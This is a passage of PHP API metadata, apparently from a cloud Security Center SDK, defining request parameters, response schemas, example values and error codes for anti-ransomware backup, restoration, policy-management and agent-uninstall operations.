=> 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '0ED92280-4363-57D3-A4D3-4D3FBC99B29F', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of restoration tasks returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '69', ], 'Count' => [ 'description' => 'The number of restoration tasks returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'RestoreJobs' => [ 'description' => 'The details about the restoration tasks.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the restoration task. Valid values:'."\n" ."\n" .'* **RUNNING**: The task is running.'."\n" .'* **COMPLETE**: The task is complete.'."\n" .'* **FAILED**: The task fails.'."\n" .'* **CANCELING**: The task is being canceled.'."\n" .'* **CANCELED**: The task is canceled.'."\n" .'* **PARTIAL_COMPLETE**: The task is partially successful.'."\n" .'* **CREATED**: The task was created but is not run.'."\n" .'* **EXPIRED**: The task is not updated.'."\n" .'* **QUEUED**: The task is waiting to be run.'."\n" .'* **CLIENT_DELETED**: The task fails because the anti-ransomware agent is uninstalled.'."\n", 'type' => 'string', 'example' => 'COMPLETE', ], 'SnapshotHash' => [ 'description' => 'The hash value of the snapshot that stores backup data when the data is backed up.'."\n", 'type' => 'string', 'example' => 'a3992de83f529b844135fe795d949181735a7d20e0ac8539485c61b7983e618f', ], 'SourceClientId' => [ 'description' => 'The ID of the anti-ransomware agent that is used to back up data.'."\n", 'type' => 'string', 'example' => 'c-000gmcypy5dyf9ey3uv7', ], 'ErrorFileUrl' => [ 'description' => 'The URL to download the CSV file. The CSV file contains the files that fail to be restored.'."\n", 'type' => 'string', 'example' => '["/home/user"]', ], 'Includes' => [ 'description' => 'The directory in which the restored file is stored. The value is the directory that you specify for protection when you create the anti-ransomware policy'."\n", 'type' => 'string', 'example' => '["/root/disk-uuid-test","/root/install.sh"]', ], 'RestoreName' => [ 'description' => 'The name of the restoration task.'."\n", 'type' => 'string', 'example' => 'Restore', ], 'InternetIp' => [ 'description' => 'The public IP address of the server whose data you want to restore.'."\n", 'type' => 'string', 'example' => '1.1.XX.XX', ], 'VaultId' => [ 'description' => 'The ID of the backup vault in which the backup data is stored.'."\n", 'type' => 'string', 'example' => 'v-000b0v0jqzmse2yz06zw', ], 'ActualBytes' => [ 'description' => 'The size of backup data. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '20', ], 'Message' => [ 'description' => 'The error message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'Percentage' => [ 'description' => 'The progress of the restoration task in percentage.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'GmtModified' => [ 'description' => 'The time when the restoration task is updated.'."\n", 'type' => 'string', 'example' => '2021-04-25T19:11Z', ], 'RestoreType' => [ 'description' => 'The type of the file that is restored. Valid values:'."\n" ."\n" .'* **ECS_FILE**: files on Elastic Compute Service (ECS) instances'."\n" .'* **FILE**: files on servers in data centers'."\n", 'type' => 'string', 'example' => 'ECS_FILE', ], 'ExitCode' => [ 'description' => 'The return value of the restoration task.'."\n", 'type' => 'string', 'example' => '0', ], 'ClientId' => [ 'description' => 'The ID of the anti-ransomware agent that is used to perform the restoration task.'."\n", 'type' => 'string', 'example' => 'c-000frxwusjauhp9ajpu6', ], 'ItemsDone' => [ 'description' => 'The number of files that are restored.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'BytesTotal' => [ 'description' => 'The total size of data that you want to restore. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '20', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '0ED92280-4363-57D3-A4D3-4D3FBC99B29F', ], 'InstanceName' => [ 'description' => 'The name of the server whose data you want to restore.'."\n", 'type' => 'string', 'example' => 'win2012-01', ], 'CompleteTime' => [ 'description' => 'The timestamp when the restoration task is complete. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1583289054000', ], 'ErrorType' => [ 'description' => 'The error code that is returned for the restoration task.'."\n", 'type' => 'string', 'example' => 'NONE', ], 'SnapshotVersion' => [ 'description' => 'The version of the backup data.'."\n", 'type' => 'string', 'example' => '2020-03-03 18:00', ], 'Target' => [ 'description' => 'The folder to which the backup data is restored. After you create the restoration task, the backup data is restored to the specified folder.'."\n", 'type' => 'string', 'example' => '/home', ], 'CreatedTime' => [ 'description' => 'The timestamp when the restoration task is created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1583289052000', ], 'InstanceId' => [ 'description' => 'The ID of the server whose data you want to restore.'."\n", 'type' => 'string', 'example' => 'i-bp12xnvdax6307gw****', ], 'Source' => [ 'description' => 'The restored content.'."\n", 'type' => 'string', 'example' => '["/home/admin","\\\\\\\\servername\\\\sharename"]', ], 'IntranetIp' => [ 'description' => 'The internal IP address of the server whose data you want to restore.'."\n", 'type' => 'string', 'example' => '2.1.XX.XX', ], 'ErrorFile' => [ 'description' => 'The name of the CSV file. The CSV file contains the files that fail to be restored.'."\n", 'type' => 'string', 'example' => 's-000f4wxm8f7gur6g2otm.csv', ], 'Uuid' => [ 'description' => 'The UUID of the server whose data you want to restore.'."\n", 'type' => 'string', 'example' => '6E3DABB6-3F6A-40DB-9492-2C8B59C****', ], 'Excludes' => [ 'description' => 'The directory excluded from the anti-ransomware policy. The value is the directory that you specify to skip protection when you create the anti-ransomware policy.'."\n", 'type' => 'string', 'example' => '["/home/user"]', ], 'Speed' => [ 'description' => 'The speed at which data is restored. Unit: byte/s.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '25766558', ], 'SnapshotId' => [ 'description' => 'The hash value ID of the snapshot that stores backup data when the data is backed up.'."\n", 'type' => 'string', 'example' => 's-000gmcypy5dy54e39yny', ], 'UpdatedTime' => [ 'description' => 'The timestamp when the restoration task was last updated. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1583289054000', ], 'RestoreId' => [ 'description' => 'The ID of the restoration task.'."\n", 'type' => 'string', 'example' => 'r-000gmcypy5dyf9ey3uv7', ], 'GmtCreate' => [ 'description' => 'The time when the restoration task is created.'."\n", 'type' => 'string', 'example' => '2021-04-25T19:11Z', ], 'Eta' => [ 'description' => 'The timestamp when the in-progress restoration task is expected to be complete. Unit: seconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1583299054', ], 'Duration' => [ 'description' => 'The duration of the restoration task. Unit: seconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '100', ], 'ErrorCount' => [ 'description' => 'The number of the restoration tasks on which errors occur.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'ItemsTotal' => [ 'description' => 'The total number of files that need to be restored.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'BytesDone' => [ 'description' => 'The total size of data that is restored. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '20', ], 'VaultRegionId' => [ 'description' => 'The ID of the region where the backup vault resides.', 'type' => 'string', 'example' => 'cn-hangzhou', ], ], 'description' => '', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"0ED92280-4363-57D3-A4D3-4D3FBC99B29F\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 2\\n },\\n \\"RestoreJobs\\": [\\n {\\n \\"Status\\": \\"COMPLETE\\",\\n \\"SnapshotHash\\": \\"a3992de83f529b844135fe795d949181735a7d20e0ac8539485c61b7983e618f\\",\\n \\"SourceClientId\\": \\"c-000gmcypy5dyf9ey3uv7\\",\\n \\"ErrorFileUrl\\": \\"[\\\\\\"/home/user\\\\\\"]\\",\\n \\"Includes\\": \\"[\\\\\\"/root/disk-uuid-test\\\\\\",\\\\\\"/root/install.sh\\\\\\"]\\",\\n \\"RestoreName\\": \\"Restore\\",\\n \\"InternetIp\\": \\"1.1.XX.XX\\",\\n \\"VaultId\\": \\"v-000b0v0jqzmse2yz06zw\\",\\n \\"ActualBytes\\": 20,\\n \\"Message\\": \\"successful\\",\\n \\"Percentage\\": 100,\\n \\"GmtModified\\": \\"2021-04-25T19:11Z\\",\\n \\"RestoreType\\": \\"ECS_FILE\\",\\n \\"ExitCode\\": \\"0\\",\\n \\"ClientId\\": \\"c-000frxwusjauhp9ajpu6\\",\\n \\"ItemsDone\\": 0,\\n \\"BytesTotal\\": 20,\\n \\"RequestId\\": \\"0ED92280-4363-57D3-A4D3-4D3FBC99B29F\\",\\n \\"InstanceName\\": \\"win2012-01\\",\\n \\"CompleteTime\\": 1583289054000,\\n \\"ErrorType\\": \\"NONE\\",\\n \\"SnapshotVersion\\": \\"2020-03-03 18:00\\",\\n \\"Target\\": \\"/home\\",\\n \\"CreatedTime\\": 1583289052000,\\n \\"InstanceId\\": \\"i-bp12xnvdax6307gw****\\",\\n \\"Source\\": \\"[\\\\\\"/home/admin\\\\\\",\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\servername\\\\\\\\\\\\\\\\sharename\\\\\\"]\\",\\n \\"IntranetIp\\": \\"2.1.XX.XX\\",\\n \\"ErrorFile\\": \\"s-000f4wxm8f7gur6g2otm.csv\\",\\n \\"Uuid\\": \\"6E3DABB6-3F6A-40DB-9492-2C8B59C****\\",\\n \\"Excludes\\": \\"[\\\\\\"/home/user\\\\\\"]\\",\\n \\"Speed\\": 25766558,\\n \\"SnapshotId\\": \\"s-000gmcypy5dy54e39yny\\",\\n \\"UpdatedTime\\": 1583289054000,\\n \\"RestoreId\\": \\"r-000gmcypy5dyf9ey3uv7\\",\\n \\"GmtCreate\\": \\"2021-04-25T19:11Z\\",\\n \\"Eta\\": 1583299054,\\n \\"Duration\\": 100,\\n \\"ErrorCount\\": 0,\\n \\"ItemsTotal\\": 0,\\n \\"BytesDone\\": 20,\\n \\"VaultRegionId\\": \\"cn-hangzhou\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 0ED92280-4363-57D3-A4D3-4D3FBC99B29F\\n \\n 1\\n 10\\n 69\\n 2\\n \\n \\n COMPLETE\\n a3992de83f529b844135fe795d949181735a7d20e0ac8539485c61b7983e618f\\n c-000gmcypy5dyf9ey3uv7\\n [\\"/home/user\\"]\\n [\\"/root/disk-uuid-test\\",\\"/root/install.sh\\"]\\n Restore\\n 1.1.XX.XX\\n v-000b0v0jqzmse2yz06zw\\n 20\\n successful\\n 100\\n 2021-04-25T19:11Z\\n ECS_FILE\\n 0\\n c-000frxwusjauhp9ajpu6\\n 0\\n 20\\n 0ED92280-4363-57D3-A4D3-4D3FBC99B29F\\n win2012-01\\n 1583289054000\\n NONE\\n 2020-03-03 18:00\\n /home\\n 1583289052000\\n i-bp12xnvdax6307gw****\\n [\\"/home/admin\\",\\"\\\\\\\\\\\\\\\\servername\\\\\\\\sharename\\"]\\n 2.1.XX.XX\\n s-000f4wxm8f7gur6g2otm.csv\\n 6E3DABB6-3F6A-40DB-9492-2C8B59C****\\n [\\"/home/user\\"]\\n 25766558\\n s-000gmcypy5dy54e39yny\\n 1583289054000\\n r-000gmcypy5dyf9ey3uv7\\n 2021-04-25T19:11Z\\n 1583299054\\n 100\\n 0\\n 0\\n 20\\n \\n","errorExample":""}]', 'title' => 'DescribeRestoreJobs', 'description' => 'If the data on your servers is encrypted by ransomware, you can create a restoration task to restore the data on your servers by using backup data in Security Center.'."\n" ."\n" .'> After you enable an anti-ransomware policy, the data on your servers is backed up based on the policy. For more information about anti-ransomware policies, see [Manage protection policies](~~164781~~).'."\n", 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeBackupRestoreCount' => [ 'summary' => 'Queries the statistics of restoration tasks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'ECC6B3E3-D496-512D-B46D-E6996A6B63EE', ], 'BackupRestoreCount' => [ 'description' => 'The statistics of restoration tasks.'."\n", 'type' => 'object', 'properties' => [ 'Total' => [ 'description' => 'The total number of the restoration tasks that you create.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'Recovering' => [ 'description' => 'The number of the restoration tasks that are in the **being restored** state.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"ECC6B3E3-D496-512D-B46D-E6996A6B63EE\\",\\n \\"BackupRestoreCount\\": {\\n \\"Total\\": 30,\\n \\"Recovering\\": 3\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n ECC6B3E3-D496-512D-B46D-E6996A6B63EE\\n \\n 30\\n 3\\n \\n","errorExample":""}]', 'title' => 'DescribeBackupRestoreCount', 'description' => 'If you have created restoration tasks, you can call this operation to query the number of restoration tasks that are in the **restored** or **being restored** state.'."\n", 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ModifyBackupPolicyStatus' => [ 'summary' => 'Enables or disables an anti-ransomware policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas7JO011', ], ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '30490', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable or disable the anti-ransomware policy. Valid values:'."\n" ."\n" .'* **enabled**: enables the anti-ransomware policy. After you enable the anti-ransomware policy, the anti-ransomware feature protects data on your servers. Data on your servers is backed up based on the policy.'."\n" .'* **disabled**: disables the anti-ransomware policy. After you disable the anti-ransomware policy, the data backup task that is running based on the policy stops.'."\n" ."\n" .'> When the system runs data backup tasks, your network bandwidth is consumed. We recommend that you enable the anti-ransomware policy during peak-off hours to back up data.'."\n", 'type' => 'string', 'required' => true, 'example' => 'enabled', ], ], [ 'name' => 'PolicyVersion', 'in' => 'query', 'schema' => [ 'description' => 'The version of the anti-ransomware policy. Set the value to **2.0.0**.'."\n", 'type' => 'string', 'deprecated' => true, 'required' => false, 'example' => '2.0.0', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'E342452B-4401-5F74-9A1B-D24479851173', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'AntiRansomwareCapacityUseUp', 'errorMessage' => 'anti ransomware capacity use up', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"E342452B-4401-5F74-9A1B-D24479851173\\"\\n}","errorExample":""},{"type":"xml","example":"\\n E342452B-4401-5F74-9A1B-D24479851173\\n","errorExample":""}]', 'title' => 'ModifyBackupPolicyStatus', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ModifyBackupPolicy' => [ 'summary' => 'Modifies an anti-ransomware policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas7JO011', ], ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the anti-ransomware policy that you want to modify.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '11', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the anti-ransomware policy that you want to modify.'."\n", 'type' => 'string', 'required' => true, 'example' => 'policy_name_A', ], ], [ 'name' => 'Policy', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The configurations of the anti-ransomware policy that you want to modify. The value is a JSON string that contains the following fields:'."\n" ."\n" .'* **Source**: the directory that you want to protect. If you want to protect all directories, set this field to brackets \\[].'."\n" ."\n" .'* **Include**: the format of the file that you want to protect. Examples: \\*.jpg and \\*.doc.'."\n" ."\n" .'* **Exclude**: the directory that you want to exclude from the anti-ransomware policy. You can call the DescribeExcludeSystemPath operation to query all directories and then specify the directory that you want to exclude. Example: /home/user.'."\n" ."\n" .'* **Schedule**: the start time and interval of a data backup task. We recommend that you specify a start time that begins during off-peak hours but does not start on the hour.'."\n" ."\n" .' * If you set this field to I|1583216092|P21D, the data backup task starts from 2020-03-03 14:14:52, and the task is executed at an interval of three weeks.'."\n" .' * If you set this field to I|1583216092|PT24H, the data backup task starts from 2020-03-03 14:14:52, and the task is executed at an interval of 24 hours.'."\n" ."\n" .'* **Retention**: the period during which backup data is retained. Unit: day. If you set this field to 7, backup data is retained for a week. If you set this field to 365, backup data is retained for a year. If you set this field to -1, backup data is permanently retained.'."\n" ."\n" .'* **SpeedLimiter**: the limit on the network bandwidth for data backup tasks. If you set this field to 12:15:15360|6:12:5120, the maximum bandwidth for a data backup task is 15 Mbit/s from 12:00 to 15:00 and 5 Mbit/s from 06:00 to 12:00.'."\n" ."\n" .'If you back up data on an Elastic Compute Service (ECS) instance that is connected over an internal network, we recommend that you leave this field empty. If this field is left empty, the bandwidth for data backup tasks is unlimited.'."\n", 'type' => 'object', 'required' => true, 'example' => '{"Source":["home","admin"]}', ], ], [ 'name' => 'PolicyVersion', 'in' => 'query', 'schema' => [ 'description' => 'The version of the anti-ransomware policy. You can call the [DescribeBackupPolicies](~~DescribeBackupPolicies~~) operation to query the versions of anti-ransomware policies.'."\n" ."\n" .'* **1.0.0**'."\n" .'* **2.0.0**'."\n", 'type' => 'string', 'required' => false, 'example' => '2.0.0', ], ], [ 'name' => 'PolicyRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the server to which the anti-ransomware policy is applied.'."\n" ."\n" .'You can call the [DescribeSupportRegion](~~DescribeSupportRegion~~) operation to query the regions in which the anti-ransomware feature is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'UuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of the servers to which the anti-ransomware policy is applied.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server to which the anti-ransomware policy is applied.'."\n", 'type' => 'string', 'required' => false, 'example' => '1587bedb-fdb4-48c4-9330-****', ], 'required' => true, 'example' => '["3bb30859-b3b5-4f28-868f-b0892c98****", "3bb30859-b3b5-4f28-868f-b0892c98****"]', 'maxItems' => 1000, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA04B21', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'AgentNotOnline', 'errorMessage' => 'The agent not online.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"D0D6E6E4-CB8C-4897-B852-46AEFDA04B21\\"\\n}","errorExample":""},{"type":"xml","example":"\\r\\nD0D6E6E4-CB8C-4897-B852-46AEFDA04B21\\r\\n","errorExample":""}]', 'title' => 'ModifyBackupPolicy', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DeleteBackupPolicyMachine' => [ 'summary' => 'Deletes a server from a specified anti-ransomware policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '91948', 'abilityTreeNodes' => [ 'FEATUREsas7JO011', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server to which the anti-ransomware policy is applied.'."\n" ."\n" .'> You must specify at least one of the `UuidList` and `Uuid` parameters.'."\n", 'type' => 'string', 'required' => false, 'example' => '083036e9-8411-4a9d-83af-9acbd****', ], ], [ 'name' => 'PolicyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n" ."\n" .'> You can call the [DescribeBackupPolicies](~~DescribeBackupPolicies~~) operation to query the IDs of anti-ransomware policies.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '11', ], ], [ 'name' => 'PolicyVersion', 'in' => 'query', 'schema' => [ 'description' => 'The version of the anti-ransomware policy. Valid values:'."\n" ."\n" .'* **1.0.0**'."\n" .'* **2.0.0**'."\n" ."\n" .'> You can call the [DescribeBackupPolicies](~~DescribeBackupPolicies~~) operation to query the versions of anti-ransomware policies.', 'type' => 'string', 'required' => true, 'example' => '2.0.0', ], ], [ 'name' => 'UuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of the servers to which the anti-ransomware policy is applied.'."\n" ."\n" .'> You must specify at least one of the `UuidList` and `Uuid` parameters.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server to which the anti-ransomware policy is applied.'."\n" ."\n" .'> You must specify at least one of the `UuidList` and `Uuid` parameters.'."\n", 'type' => 'string', 'required' => false, 'example' => '083036e9-8411-4a9d-83af-9acbd****', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA04B21', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D0D6E6E4-CB8C-4897-B852-46AEFDA04B21\\"\\n}","type":"json"}]', 'title' => 'DeleteBackupPolicyMachine', ], 'DeleteBackupPolicy' => [ 'summary' => 'Deletes an anti-ransomware policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas7JO011', ], ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the anti-ransomware policy that you want to delete.'."\n" ."\n" .'> You can call the [DescribeBackupPolicies](~~DescribeBackupPolicies~~) operation to query the IDs of anti-ransomware policies.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '12', ], ], [ 'name' => 'PolicyVersion', 'in' => 'query', 'schema' => [ 'description' => 'The version of the anti-ransomware policy that you want to delete. You can call the [DescribeBackupPolicies](~~DescribeBackupPolicies~~) operation to query the versions of anti-ransomware policies. Valid values:'."\n" ."\n" .'* **1.0.0**'."\n" .'* **2.0.0**'."\n", 'type' => 'string', 'required' => false, 'example' => '2.0.0', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 24A20733-10A0-4AF6-BE6B-E3322413BB68\\n","errorExample":""}]', 'title' => 'DeleteBackupPolicy', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'UninstallBackupClient' => [ 'summary' => 'Uninstalls the anti-ransomware agent.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server from which you want to uninstall the anti-ransomware agent.'."\n" ."\n" .'> You must specify at least one of the UuidList and Uuid parameters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA0****', ], ], [ 'name' => 'PolicyVersion', 'in' => 'query', 'schema' => [ 'description' => 'The version of the anti-ransomware policy. You can call the [DescribeBackupPolicies](~~DescribeBackupPolicies~~) operation to query the versions of anti-ransomware policies. Valid values:'."\n" ."\n" .'* **1.0.0**'."\n" .'* **2.0.0**'."\n", 'type' => 'string', 'required' => true, 'example' => '2.0.0', ], ], [ 'name' => 'UuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of the servers from which you want to uninstall the anti-ransomware agent.'."\n" ."\n" .'> You must specify at least one of the UuidList and Uuid parameters.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server from which you want to uninstall the anti-ransomware agent.'."\n" ."\n" .'> You must specify at least one of the UuidList and Uuid parameters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA0****', ], 'required' => false, 'example' => '["D0D6E6E4-CB8C-4897-B852-46AEFDA0****", "3bb30859-b3b5-4f28-868f-b0892c98****"]', 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '8eec3b63-18af-454b-8c17-aabcf7190b70', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'HbrClientNotInstalled', 'errorMessage' => 'client is not Installed. refresh you page', ], [ 'errorCode' => 'HbrClientUninstalling', 'errorMessage' => 'During client uninstallation, you can refresh the page to view the uninstallation result.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"8eec3b63-18af-454b-8c17-aabcf7190b70\\"\\n}","errorExample":""},{"type":"xml","example":"\\n \\"8eec3b63-18af-454b-8c17-aabcf7190b70\\",\\"fb711b59-d49c-4da7-a36f-9a56fb705fbe\\"\\n","errorExample":""}]', 'title' => 'UninstallBackupClient', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeWebLockStatus' => [ 'summary' => 'Queries the status of web tamper proofing.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '221.214.XXX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 